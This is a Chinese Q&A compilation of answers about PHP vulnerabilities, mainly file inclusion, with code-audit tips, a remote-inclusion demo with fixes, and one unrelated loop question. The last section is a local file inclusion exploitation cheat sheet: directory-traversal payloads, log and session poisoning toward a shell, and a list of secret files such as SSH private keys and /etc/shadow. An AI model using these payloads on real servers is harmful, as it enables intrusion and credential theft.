Ⅰ 是不是只有php才有文件包含漏洞
你好,这个是不一定的,有些文件看你写出来的有没有漏洞才是,所有的程序都不可能说没有漏洞,没有bug
Ⅱ 电脑发现漏洞怎么修复不了
造成这个情况的原因有很多。比如修复之后没有将电脑重启,或者电脑缺少一些文件导致修复失败。那么解决方法就是找到缺失的文件重新修复下,然后将电脑重启下即可。
Ⅲ php漏洞与代码审计过程中需要注意的几点
1.xss + sql注入其中占大头的自然是XSS与SQL注入,对于框架类型或者有公共文件的,建议在公共文件中统一做一次XSS和SQL注入的过滤。写个过滤函数,可由如下所示:$_REQUEST = filter_xss($_REQUEST);$_GET = filter_xss($_GET);$_POST = filter_xss($_POST);$_COOKIE = filter_xss($_COOKIE);$_POST = filter_sql($_POST);$_GET = filter_sql($_GET);$_COOKIE = filter_sql($_COOKIE);$_REQUEST = filter_sql($_REQUEST);这里有一点需要说明,$_REQUEST虽然等于$_GET+$_POST,但他们是独立的数组,也就是说假设改变了$_GET的值,但$_REQUEST的值还是原来的值,所以过滤时都不能落下,至于其他的如$_FILE之类的就可忽略了。最简单的filter_xss函数是htmlspecialchars()最简单的filter_sql函数是mysql_real_escape_string()当然,谁都知道这种过滤filter_sql只能过滤字符型和搜索型的注入,对于数字型是没有办法的,但也说明做了这层过滤后,只需在后面注意数字型的SQL语句就可以了,遇到了加intval过滤就可以了,这就变得容易多了。2. 命令执行对于命令执行,可以从关键字入手,总共可分为3类(1) php代码执行 :eval等(2)shell命令执行:exec、passthru、system、shell_exec等(3) 文件处理:fwrite、fopen、mkdir等对于这几类需要注意其参数是否用户可控。3.上传漏洞对于上传漏洞,也是重点关注的地方,要仔细分析它的处理流程,针对上传的绕过方式是很多的,最保险的方式:在保存文件是采用文件名随机命名和后缀白名单方式。其次要注意的一点是上传文件的地方可能不止一处,不要有遗漏,可能会碰到这样的情况,突然在某个目录里面包含了一个第三方的编辑器在里面。文件包含漏洞涉及的函数如include() 、include_once()、require()、require_once()、file_get_contents()等最常见的还是出在下载文件功能函数,例如download.php?file=///etc/passwd 这种类型中。4. 权限绕过权限绕过可分为两类吧(1)后台文件的未授权访问。后台的文件没有包含对session的验证,就容易出现这样的问题(2)未作用户隔离,例如mail.php?id=23显示了你的信件,那么换个ID, mail.php?id=24就查看到了别人的信件,编写代码是方便,把信件都存在一个数据表里,id统一编号,前端展现时只需按id取出即可,但未作用户隔离,判定归属,容易造成越权访问。这样的例子是很常见的,给某银行做评估是就经常发现这种漏洞。5. 信息泄露信息泄露算是比较低危的漏洞了,比如列目录这种就属于部署问题,而与代码审计无关了,而像暴路径、暴源码这种是需要防止的。曾经遇到这样的代码<?php if(empty($_GET['a'])) {…} ?>表面上似乎没问题,可是当请求变为 xx.php?a[]=1时,即参数变为数组的时候,就会发生错误以致路径泄露,而用isset判断则不会,当然一个个防太麻烦,建议在配置文件中关闭错误提示,或者在公共文件中加入如下代码以关闭错误显示功能:<?php error_reporting(0);?>
Ⅳ 文件包含漏洞形成的原因是什么
导致系统漏洞的原因包括程序逻辑结构设计不合理,不严谨、编程专人员程序设计属错误以及目前为止硬件无法解决特定的问题:
1、编程人员在设计程序时,对程序逻辑结构设计不合理,不严谨,因此产生一处或者多处漏洞,正是由于这些漏洞,给病毒入侵用户电脑提供了入口。
2、编程人员的程序设计错误也是计算机系统漏洞产生的原因之一,受编程人员的能力、经验和当时安全技术所限,在程序中难免会有不足之处,轻则影响程序效率,重则导致非授权用户的权限提升,这种类型的漏洞最典型的是缓冲区溢出漏洞,它也是被黑客利用得最多的一种类型的漏洞。
3、由于目前硬件无法解决特定的问题,使编程人员只得通过软件设计来表现出硬件功能而产生的漏洞,也会让黑客长驱直入,攻击用户的电脑。
(4)php文件包含漏洞修复扩展阅读:
漏洞的影响范围很广,包括系统本身及其支持软件、网络客户端和服务器软件、网络路由器和安全防火墙。
在不同类型的硬件和软件设备、相同设备的不同版本、不同的系统由不同的设备组成,以及同一系统在不同的设置下,都会存在不同的安全漏洞。
因此,随着时间的推移,旧的系统漏洞会消失,新的系统漏洞会继续出现。系统中的漏洞也依然存在。
Ⅳ PHP 网络开发详解之远程文件包含漏洞
以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。复制代码代码如下:<?php$file_name=$_GET["filename"];//获得当前文件名include("$file_name");//包含文件//一些其他操作?>这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。Warning:include(.php)[function.include]:failedtoopenstream:NosuchfileordirectoryinC:\ProgramFiles\xampp\htdocs\Bugs\test6.phponline3Warning:include()[function.include]:Failedopening'.php'forinclusion(include_path='.;C:\ProgramFiles\xampp\php\pear\')inC:\ProgramFiles\xampp\htdocs\Bugs\test6.phponline3访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。复制代码代码如下:<?phpecho"helloworld!";?>这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。复制代码代码如下:<?php$file_name=$_GET["filename"];//获得当前文件名if([email protected]("$file_name.php"))//包含文件{die("页面在浏览过程中出现错误");}//一些其他操作?>修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。复制代码代码如下:<?php$file_name=str_replace('/','',$_GET["filename"]);//获得当前文件名if([email protected]("$file_name.php"))//包含文件{die("页面在浏览过程中出现错误");}//一些其他操作?>这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
Ⅵ PHP中的break问题,其中包含IF与foreach
是foreach,你可以写个例子看下啊!<?php$array = array(1,2,3,4,5,6,7,8,9);foreach ($array as $value){ echo $value; if ($value == 5) { break; }} ?> 结果:12345
Ⅶ php文件包含漏洞可造成的危害有哪些
假如你的 include 中包含 可变的参数,而且可悲外部修改,例如:
<?phpinclude("inc/".$_GET['file']);
这样的话,就会引发漏洞,用户可以构造任意参数来读取你的文件。
Ⅷ PHP漏洞有哪些
首先和ASP一样,对敏感字符过滤不严会导致注入..还有PHP很有特点,他得运行程序是很人性化得,如果设置不好,随便提交个有错得地址之类就会告诉你绝对路径之类得敏感信息.PHP包含过滤不严会导致读取任意文件.变量过滤不严会导致伪造数据欺骗服务器.等等等等好多..我说得这些都是比较常见和常用得
Ⅸ 如何查找php文件包含漏洞的方法
找360或安全联盟检测接口, 免费的。主要是查上传漏洞。可以网络下,够学习一段时间的。
Ⅹ php文件包含漏洞可能造成的危害有哪些
在接下来的内容中会以代码样本作为例子,来给大家介绍各种奇葩猥琐的利用姿势。0x01 普通本地文件包含1<?phpinclude("inc/". $_GET['file']); ?>包含同目录下的文件:?file=.htaccess目录遍历:?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db(Linux中这两个文件储存着所有文件的路径,需要root权限)包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)获取web目录或者其他配置文件:?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)包含上传的附件:?file=../attachment/media/xxx.file读取session文件:?file=../../../../../../tmp/sess_tnrdo9ub2tsrntv0pdir1no7(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)如果拥有root权限还可以试试读这些东西:/root/.ssh/authorized_keys/root/.ssh/id_rsa/root/.ssh/id_rsa.keystore/root/.ssh/id_rsa.pub/root/.ssh/known_hosts/etc/shadow/root/.bash_history/root/.mysql_history/proc/self/fd/fd[0-9]* (文件标识符)/proc/mounts/proc/config.gz如果有phpinfo可以包含临时文件:参见http://hi..com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el